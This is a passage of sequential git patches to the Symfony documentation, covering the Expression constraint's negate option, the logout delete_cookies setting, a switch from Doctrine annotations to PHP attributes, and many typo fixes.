@@ -294,6 +301,17 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+``negate``
+~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+If ``false``, the validation fails when expression returns ``true``.
+
+.. versionadded:: 6.2
+
+   The `negate` option was introduced in Symfony 6.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``values``

From 3bed40fce5cac9663e749e2d237ce17738285aa4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 22 Jul 2022 10:13:21 +0200
Subject: [PATCH 2075/5766] Fix: Backticks

---
 reference/constraints/Expression.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index e9fec8bfa8e..db207358d89 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -145,9 +145,9 @@ more about the expression language syntax, see
 
 .. versionadded:: 6.2
 
-   The `negate` option was introduced in Symfony 6.2.
+   The ``negate`` option was introduced in Symfony 6.2.
 
-Alternatively, you can set the `negate` option to ``false`` in order to
+Alternatively, you can set the ``negate`` option to ``false`` in order to
 assert that the expression must return ``true`` for validation to fail.
 
 .. sidebar:: Mapping the Error to a Specific Field
@@ -310,7 +310,7 @@ If ``false``, the validation fails when expression returns ``true``.
 
 .. versionadded:: 6.2
 
-   The `negate` option was introduced in Symfony 6.2.
+   The ``negate`` option was introduced in Symfony 6.2.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 

From 7b2edfc621b7a08fe2009cf65388c63583a83b71 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 22 Jul 2022 10:14:28 +0200
Subject: [PATCH 2076/5766] Fix: Move versionadded

---
 reference/constraints/Expression.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index db207358d89..abd9cd5eb3b 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -143,13 +143,13 @@ expression that must return true in order for validation to pass. To learn
 more about the expression language syntax, see
 :doc:`/components/expression_language/syntax`.
 
+Alternatively, you can set the ``negate`` option to ``false`` in order to
+assert that the expression must return ``true`` for validation to fail.
+
 .. versionadded:: 6.2
 
    The ``negate`` option was introduced in Symfony 6.2.
 
-Alternatively, you can set the ``negate`` option to ``false`` in order to
-assert that the expression must return ``true`` for validation to fail.
-
 .. sidebar:: Mapping the Error to a Specific Field
 
     You can also attach the constraint to a specific property and still validate

From edd706f22ca69c1d955bbd581db3dd808e67c9b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 10:23:50 +0200
Subject: [PATCH 2077/5766] Reword

---
 reference/configuration/debug.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 1a0246eb0d1..c4040b8d8c7 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -11,16 +11,18 @@ key in your application configuration.
 .. code-block:: terminal
 
     # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference debug
+    $ php bin/console config:dump-reference framework
 
     # displays the actual config values used by your application
-    $ php bin/console debug:config debug
+    $ php bin/console debug:config framework
 
-.. note::
+    # displays the config values used by your application and replaces the
+    # environment variables with their actual values
+    $ php bin/console debug:config --resolve-env framework
+
+.. versionadded:: 6.2
 
-    The ``--resolve-env`` option is available with the ``debug:config``
-    command, which will resolved environment variables when
-    displaying the configuration values.
+    The ``--resolve-env`` option was introduced in Symfony 6.2.
 
 .. note::
 

From 91a92231a066c70049b4d7c7ff50abee123aeaf3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:55:59 +0200
Subject: [PATCH 2078/5766] [Security] Document the delete_cookies option

---
 reference/configuration/security.rst | 76 ++++++++++++++++++++++++++++
 1 file changed, 76 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6e51f7ad404..d964a1bfafb 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -30,6 +30,7 @@ Configuration
 * `access_denied_url`_
 * `always_authenticate_before_granting`_
 * `anonymous`_
+* `delete_cookies`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -75,6 +76,81 @@ call in a template or ``isGranted()`` in a controller or service).
 
     The ``lazy`` value of the ``anonymous`` option was introduced in Symfony 4.4.
 
+delete_cookies
+~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+Lists the names (and other optional features) of the cookies to delete when the
+user logs out::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        delete_cookies:
+                            cookie1-name: null
+                            cookie2-name:
+                                path: '/'
+                            cookie3-name:
+                                path: null
+                                domain: example.com
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="...">
+                        <delete-cookie name="cookie1-name"/>
+                        <delete-cookie name="cookie2-name" path="/"/>
+                        <delete-cookie name="cookie3-name" domain="example.com"/>
+                    </logout>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+            'firewalls' => [
+                'main' => [
+                    'logout' => [
+                        'delete_cookies' => [
+                            'cookie1-name' => null,
+                            'cookie2-name' => [
+                                'path' => '/',
+                            ],
+                            'cookie3-name' => [
+                                'path' => null,
+                                'domain' => 'example.com',
+                            ],
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 

From 14e501ffa8aca33fd37f4772901fedf4d60696cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:35:06 +0200
Subject: [PATCH 2079/5766] [Console] Improve the description of command
 options

---
 console/input.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/console/input.rst b/console/input.rst
index 99c02f17607..c48968c81fc 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -134,10 +134,17 @@ how many times in a row the message should be printed::
     $this
         // ...
         ->addOption(
+            // this is the name that users must type to pass this option (e.g. --iterations=5)
             'iterations',
+            // this is the optional shortcut of the option name, which usually is just a letter
+            // (e.g. `i`, so users pass it as `-i`); use it for commonly used options
+            // or options with long names
             null,
+            // this is the type of option (e.g. requires a value, can be passed more than once, etc.)
             InputOption::VALUE_REQUIRED,
+            // the option description displayed when showing the command help
             'How many times should the message be printed?',
+            // the default value of the option (for those which allow to pass values)
             1
         )
     ;

From 50ddde9b0d2fa9fb19efb6240ac82b6275009c1d Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 16:15:13 -0400
Subject: [PATCH 2080/5766] [Doctrine] show attributes instead of annotations
 for maker-bundle

---
 doctrine.rst | 72 ++++++++++++++++++++++------------------------------
 1 file changed, 30 insertions(+), 42 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 2d787cf1a80..249ebc03f9d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -140,27 +140,19 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     use App\Repository\ProductRepository;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity(repositoryClass=ProductRepository::class)
-     */
+     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        /**
-         * @ORM\Id()
-         * @ORM\GeneratedValue()
-         * @ORM\Column(type="integer")
-         */
-        private $id;
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column]
+        private int $id;
 
-        /**
-         * @ORM\Column(type="string", length=255)
-         */
-        private $name;
+        #[ORM\Column(length: 255)]
+        private string $name;
 
-        /**
-         * @ORM\Column(type="integer")
-         */
-        private $price;
+        #[ORM\Column]
+        private int $price;
 
         public function getId(): ?int
         {
@@ -170,6 +162,10 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
         // ... getter and setter methods
     }
 
+.. caution::
+
+    Starting in v1.44.0 - MakerBundle only supports entities using Attributes.
+
 .. note::
 
     Confused why the price is an integer? Don't worry: this is just an example.
@@ -194,8 +190,8 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
 
 This class is called an "entity". And soon, you'll be able to save and query Product
 objects to a ``product`` table in your database. Each property in the ``Product``
-entity can be mapped to a column in that table. This is usually done with annotations:
-the ``@ORM\...`` comments that you see above each property:
+entity can be mapped to a column in that table. This is usually done with attributes:
+the ``#[ORM\Column(...)]`` comments that you see above each property:
 
 .. image:: /_images/doctrine/mapping_single_entity.png
    :align: center
@@ -214,8 +210,8 @@ If you want to use XML instead of annotations, add ``type: xml`` and
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
     for details on how to escape these. Or, change the table name with
-    ``@ORM\Table(name="groups")`` above the class or configure the column name with
-    the ``name="group_name"`` option.
+    ``#[ORM\Table(name: "groups")]`` above the class or configure the column name with
+    the ``name: "group_name"`` option.
 
 .. _doctrine-creating-the-database-tables-schema:
 
@@ -292,9 +288,7 @@ methods:
       {
           // ...
 
-    +     /**
-    +      * @ORM\Column(type="text")
-    +      */
+    +     #[ORM\Column(type: 'text')]
     +     private $description;
 
           // getDescription() & setDescription() were also added
@@ -363,12 +357,11 @@ and save it::
     use App\Entity\Product;
     use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product", name="create_product")
-         */
+        #[Route('/product', name: 'create_product')]
         public function createProduct(ManagerRegistry $doctrine): Response
         {
             $entityManager = $doctrine->getManager();
@@ -448,13 +441,12 @@ some basic validation tasks::
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Validator\Validator\ValidatorInterface;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product", name="create_product")
-         */
+        #[Route('/product', name: 'create_product')]
         public function createProduct(ValidatorInterface $validator): Response
         {
             $product = new Product();
@@ -513,13 +505,12 @@ be able to go to ``/product/1`` to see your new product::
 
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/{id}", name="product_show")
-         */
+        #[Route('/product/{id}', name: 'product_show')]
         public function show(ManagerRegistry $doctrine, int $id): Response
         {
             $product = $doctrine->getRepository(Product::class)->find($id);
@@ -547,13 +538,12 @@ and injected by the dependency injection container::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/{id}", name="product_show")
-         */
+        #[Route('/product/{id}', name: 'product_show')]
         public function show(int $id, ProductRepository $productRepository): Response
         {
             $product = $productRepository
@@ -631,13 +621,12 @@ Now, simplify your controller::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/{id}", name="product_show")
-         */
+        #[Route('/product/{id}', name: 'product_show')]
         public function show(Product $product): Response
         {
             // use the Product!
@@ -662,13 +651,12 @@ with any PHP model::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/edit/{id}")
-         */
+        #[Route('/product/edit/{id}', name: 'product_edit')]
         public function update(ManagerRegistry $doctrine, int $id): Response
         {
             $entityManager = $doctrine->getManager();

From dff56d7ebcfa303c4d217ca64b53e1bb018a7cab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 12:22:48 +0200
Subject: [PATCH 2081/5766] Minor fixes

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 249ebc03f9d..34fa41c7d98 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -162,9 +162,9 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
         // ... getter and setter methods
     }
 
-.. caution::
+.. note::
 
-    Starting in v1.44.0 - MakerBundle only supports entities using Attributes.
+    Starting in v1.44.0 - MakerBundle only supports entities using PHP attributes.
 
 .. note::
 
@@ -440,8 +440,8 @@ some basic validation tasks::
 
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Validator\Validator\ValidatorInterface;
     use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Validator\Validator\ValidatorInterface;
     // ...
 
     class ProductController extends AbstractController

From 34287db1c1109c5b15b3e4081f068a6c6e8dc4ec Mon Sep 17 00:00:00 2001
From: Robert Fischer <info@sandoba.com>
Date: Fri, 22 Jul 2022 11:31:22 +0200
Subject: [PATCH 2082/5766] Fix ~20 typos in different sections of the
 documentation

---
 best_practices.rst                             | 6 +++---
 components/browser_kit.rst                     | 2 +-
 components/console/helpers/progressbar.rst     | 2 +-
 components/http_kernel.rst                     | 2 +-
 components/property_access.rst                 | 2 +-
 configuration/front_controllers_and_kernel.rst | 2 +-
 configuration/micro_kernel_trait.rst           | 2 +-
 create_framework/http_foundation.rst           | 8 ++++----
 deployment.rst                                 | 2 +-
 doctrine/associations.rst                      | 2 +-
 migration.rst                                  | 2 +-
 notifier/chatters.rst                          | 2 +-
 rate_limiter.rst                               | 2 +-
 reference/constraints/Image.rst                | 2 +-
 reference/forms/types/datetime.rst             | 2 +-
 routing/custom_route_loader.rst                | 6 +++---
 security.rst                                   | 4 ++--
 security/remember_me.rst                       | 6 +++---
 service_container/factories.rst                | 2 +-
 session.rst                                    | 2 +-
 20 files changed, 30 insertions(+), 30 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index a955c35920a..79036fe04d3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -245,7 +245,7 @@ the fact that a controller should always return a ``Response`` object.
 Use Dependency Injection to Get Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you extend the base ``AbstractController``, you can only access to the most
+If you extend the base ``AbstractController``, you can only get access to the most
 common services (e.g ``twig``, ``router``, ``doctrine``, etc.), directly from the
 container via ``$this->container->get()``.
 Instead, you must use dependency injection to fetch services by
@@ -289,7 +289,7 @@ Define your Forms as PHP Classes
 
 Creating :ref:`forms in classes <creating-forms-in-classes>` allows to reuse
 them in different parts of the application. Besides, not creating forms in
-controllers simplify the code and maintenance of the controllers.
+controllers simplifies the code and maintenance of the controllers.
 
 Add Form Buttons in Templates
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -388,7 +388,7 @@ Use Webpack Encore to Process Web Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Web assets are things like CSS, JavaScript and image files that make the
-frontend of your site looks and works great. `Webpack`_ is the leading JavaScript
+frontend of your site look and work great. `Webpack`_ is the leading JavaScript
 module bundler that compiles, transforms and packages assets for usage in a browser.
 
 :doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 4a81ba30b43..0605a8a0dce 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -174,7 +174,7 @@ provides access to the form properties (e.g. ``$form->getUri()``,
 Custom Header Handling
 ~~~~~~~~~~~~~~~~~~~~~~
 
-The optional HTTP headers passed to the ``request()`` method follows the FastCGI
+The optional HTTP headers passed to the ``request()`` method follow the FastCGI
 request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``).
 Before saving those headers to the request, they are lower-cased, with ``HTTP_``
 stripped, and underscores converted into dashes.
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 2a2c9473cff..a4b721dfad3 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -293,7 +293,7 @@ to display it can be customized::
 .. caution::
 
     For performance reasons, Symfony redraws the screen once every 100ms. If this is too
-    fast or to slow for your application, use the methods
+    fast or too slow for your application, use the methods
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::minSecondsBetweenRedraws` and
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::maxSecondsBetweenRedraws`::
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 370e960c95f..93d2751a9be 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -9,7 +9,7 @@ The HttpKernel Component
     The HttpKernel component provides a structured process for converting
     a ``Request`` into a ``Response`` by making use of the EventDispatcher
     component. It's flexible enough to create a full-stack framework (Symfony),
-    a micro-framework (Silex) or an advanced CMS system (Drupal).
+    a micro-framework (Silex) or an advanced CMS (Drupal).
 
 Installation
 ------------
diff --git a/components/property_access.rst b/components/property_access.rst
index d3486d02996..956e78531d5 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -5,7 +5,7 @@
 The PropertyAccess Component
 ============================
 
-    The PropertyAccess component provides function to read and write from/to an
+    The PropertyAccess component provides functions to read and write from/to an
     object or array using a simple string notation.
 
 Installation
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index b0048e43e1d..b1a6cf234d3 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -247,7 +247,7 @@ the directory of the environment you're using (most commonly ``dev/`` while
 developing and debugging). While it can vary, the ``var/cache/dev/`` directory
 includes the following:
 
-``srcApp_KernelDevDebugContainer.php``
+``App_KernelDevDebugContainer.php``
     The cached "service container" that represents the cached application
     configuration.
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 66e9aae2bbe..856ef3bb92e 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -103,7 +103,7 @@ Advanced Example: Twig, Annotations and the Web Debug Toolbar
 -------------------------------------------------------------
 
 The purpose of the ``MicroKernelTrait`` is *not* to have a single-file application.
-Instead, its goal to give you the power to choose your bundles and structure.
+Instead, its goal is to give you the power to choose your bundles and structure.
 
 First, you'll probably want to put your PHP classes in an ``src/`` directory. Configure
 your ``composer.json`` file to load from there:
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index dd838e9a5e2..2859c18553b 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -176,20 +176,20 @@ fingertips thanks to a nice and simple API::
     // the URI being requested (e.g. /about) minus any query parameters
     $request->getPathInfo();
 
-    // retrieve GET and POST variables respectively
+    // retrieves GET and POST variables respectively
     $request->query->get('foo');
     $request->request->get('bar', 'default value if bar does not exist');
 
-    // retrieve SERVER variables
+    // retrieves SERVER variables
     $request->server->get('HTTP_HOST');
 
     // retrieves an instance of UploadedFile identified by foo
     $request->files->get('foo');
 
-    // retrieve a COOKIE value
+    // retrieves a COOKIE value
     $request->cookies->get('PHPSESSID');
 
-    // retrieve an HTTP request header, with normalized, lowercase keys
+    // retrieves a HTTP request header, with normalized, lowercase keys
     $request->headers->get('host');
     $request->headers->get('content-type');
 
diff --git a/deployment.rst b/deployment.rst
index 9eb2b653552..6f24aa03a5b 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -65,7 +65,7 @@ Using Platforms as a Service
 
 Using a Platform as a Service (PaaS) can be a great way to deploy your Symfony
 app quickly. There are many PaaS, but we recommend `Platform.sh`_ as it
-provides a dedicated Symfony integration and help fund the Symfony development.
+provides a dedicated Symfony integration and helps fund the Symfony development.
 
 Using Build Scripts and other Tools
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 470e48059f2..cf41d9238e9 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -592,7 +592,7 @@ To update a relationship in the database, you *must* set the relationship on the
 *owning* side. The owning side is always where the ``ManyToOne`` mapping is set
 (for a ``ManyToMany`` relation, you can choose which side is the owning side).
 
-Does this means it's not possible to call ``$category->addProduct()`` or
+Does this mean it's not possible to call ``$category->addProduct()`` or
 ``$category->removeProduct()`` to update the database? Actually, it *is* possible,
 thanks to some clever code that the ``make:entity`` command generated::
 
diff --git a/migration.rst b/migration.rst
index 9d94e1377d1..b22ab90d893 100644
--- a/migration.rst
+++ b/migration.rst
@@ -130,7 +130,7 @@ It is quite common for an existing application to either not have a test suite
 at all or have low code coverage. Introducing unit tests for this code is
 likely not cost effective as the old code might be replaced with functionality
 from Symfony components or might be adapted to the new application.
-Additionally legacy code tends to be hard to write tests for making the process
+Additionally legacy code tends to be hard to write tests for, making the process
 slow and cumbersome.
 
 Instead of providing low level tests, that ensure each class works as expected, it
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 626af38592b..65cfa7acd64 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -23,7 +23,7 @@ you to send messages to chat services like Slack or Telegram::
         public function thankyou(ChatterInterface $chatter)
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is send to the
+                // if not set explicitly, the message is sent to the
                 // default transport (the first one configured)
                 ->transport('slack');
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 07db8c9c204..05a91265dc1 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -359,7 +359,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 Storing Rate Limiter State
 --------------------------
 
-All rate limiter policies require to store their state(e.g. how many hits were
+All rate limiter policies require to store their state (e.g. how many hits were
 already made in the current time window). By default, all limiters use the
 ``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 408341427db..5cb45c7e097 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -366,7 +366,7 @@ value.
 ``maxPixelsMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``The image has to many pixels ({{ pixels }} pixels).
+**type**: ``string`` **default**: ``The image has too many pixels ({{ pixels }} pixels).
 Maximum amount expected is {{ max_pixels }} pixels.``
 
 The error message if the amount of pixels of the image exceeds `maxPixels`_.
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 8d1e43da07e..c189aceb2a6 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -13,7 +13,7 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
 +---------------------------+-----------------------------------------------------------------------------+
-| Rendered as               | single text box or three select fields                                      |
+| Rendered as               | single text box or five select fields                                      |
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index c9b2853088a..74adb50d4a1 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -7,8 +7,8 @@ How to Create a custom Route Loader
 Basic applications can define all their routes in a single configuration file -
 usually ``config/routes.yaml`` (see :ref:`routing-creating-routes`).
 However, in most applications it's common to import routes definitions from
-different resources: PHP annotations in controller files, YAML, XML or PHP
-files stored in some directory, etc.
+different resources: PHP annotations or attributes in controller files, YAML, XML
+or PHP files stored in some directory, etc.
 
 Built-in Route Loaders
 ----------------------
@@ -214,7 +214,7 @@ tag it manually with ``routing.route_loader``.
 
 .. tip::
 
-    If your service is invokable, you don't need to precise the method to use.
+    If your service is invokable, you don't need to specify the method to use.
 
 Creating a custom Loader
 ------------------------
diff --git a/security.rst b/security.rst
index 496ddb6a86a..8cdac8ad9e1 100644
--- a/security.rst
+++ b/security.rst
@@ -995,7 +995,7 @@ Enable the authenticator using the ``json_login`` setting:
     mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
     default value).
 
-The authenticator runs when a client request the ``check_path``. First,
+The authenticator runs when a client requests the ``check_path``. First,
 create a controller for this path:
 
 .. code-block:: terminal
@@ -1078,7 +1078,7 @@ That's it! To summarize the process:
             "password": "MyPassword"
         }
 #. The security system intercepts the request, checks the user's submitted
-   credentials and authenticates the user. If the credentials is incorrect,
+   credentials and authenticates the user. If the credentials are incorrect,
    an HTTP 401 Unauthorized JSON response is returned, otherwise your
    controller is run;
 #. Your controller creates the correct response:
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 780f67f8070..702baefd9fc 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -87,9 +87,9 @@ which is defined using the ``APP_SECRET`` environment variable.
 After enabling the ``remember_me`` system in the configuration, there are a
 couple more things to do before remember me works correctly:
 
-#. :ref:`Add an opt-in checkbox to active remember me <security-remember-me-activate>`;
+#. :ref:`Add an opt-in checkbox to activate remember me <security-remember-me-activate>`;
 #. :ref:`Use an authenticator that supports remember me <security-remember-me-authenticator>`;
-#. Optionally, :ref:`configure the how remember me cookies are stored and validated <security-remember-me-storage>`.
+#. Optionally, :ref:`configure how remember me cookies are stored and validated <security-remember-me-storage>`.
 
 After this, the remember me cookie will be created upon successful
 authentication. For some pages/actions, you can
@@ -131,7 +131,7 @@ checkbox must have a name of ``_remember_me``:
 .. note::
 
     Optionally, you can configure a custom name for this checkbox using the
-    ``remember_me_parameter`` setting under the ``remember_me`` section.
+    ``name`` setting under the ``remember_me`` section.
 
 Always activating Remember Me
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 54775793a52..fa8496315c2 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -19,7 +19,7 @@ Static Factories
 Suppose you have a factory that configures and returns a new ``NewsletterManager``
 object by calling the static ``createNewsletterManager()`` method::
 
-    // src/Email\NewsletterManagerStaticFactory.php
+    // src/Email/NewsletterManagerStaticFactory.php
     namespace App\Email;
 
     // ...
diff --git a/session.rst b/session.rst
index 46ba71528cf..3467b3922f1 100644
--- a/session.rst
+++ b/session.rst
@@ -78,7 +78,7 @@ sessions, check their default configuration:
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
 outside of the Symfony application, in a directory controlled by PHP. Although
-this usually simplify things, some session expiration related options may not
+this usually simplifies things, some session expiration related options may not
 work as expected if other applications that write to the same directory have
 short max lifetime settings.
 

From 424ad98f296a6e3f9dac61f369147cf05ac4145c Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 17:26:04 -0400
Subject: [PATCH 2083/5766] [Doctrine] MakerBundle 1.3 is too old to reference

---
 .doctor-rst.yaml | 5 +----
 controller.rst   | 6 +-----
 doctrine.rst     | 5 -----
 3 files changed, 2 insertions(+), 14 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3e716028b86..289c7ceb439 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -85,10 +85,7 @@ whitelist:
         - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.30' # Twig
         - '.. versionadded:: 1.35' # Twig
-        - '.. versionadded:: 1.2' # MakerBundle
-        - '.. versionadded:: 1.11' # MakerBundle
-        - '.. versionadded:: 1.3' # MakerBundle
-        - '.. versionadded:: 1.8' # MakerBundle
+        - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
diff --git a/controller.rst b/controller.rst
index a9a2a3adf99..f5879bf6f9e 100644
--- a/controller.rst
+++ b/controller.rst
@@ -153,7 +153,7 @@ and ``redirect()`` methods::
 
         // redirects to a route and maintains the original query string parameters
         return $this->redirectToRoute('blog_show', $request->query->all());
-        
+
         // redirects to the current route (e.g. for Post/Redirect/Get pattern):
         return $this->redirectToRoute($request->attributes->get('_route'));
 
@@ -315,10 +315,6 @@ use:
     created: templates/product/new.html.twig
     created: templates/product/show.html.twig
 
-.. versionadded:: 1.2
-
-    The ``make:crud`` command was introduced in MakerBundle 1.2.
-
 .. index::
    single: Controller; Managing errors
    single: Controller; 404 pages
diff --git a/doctrine.rst b/doctrine.rst
index 2d787cf1a80..dbbc31276a3 100644
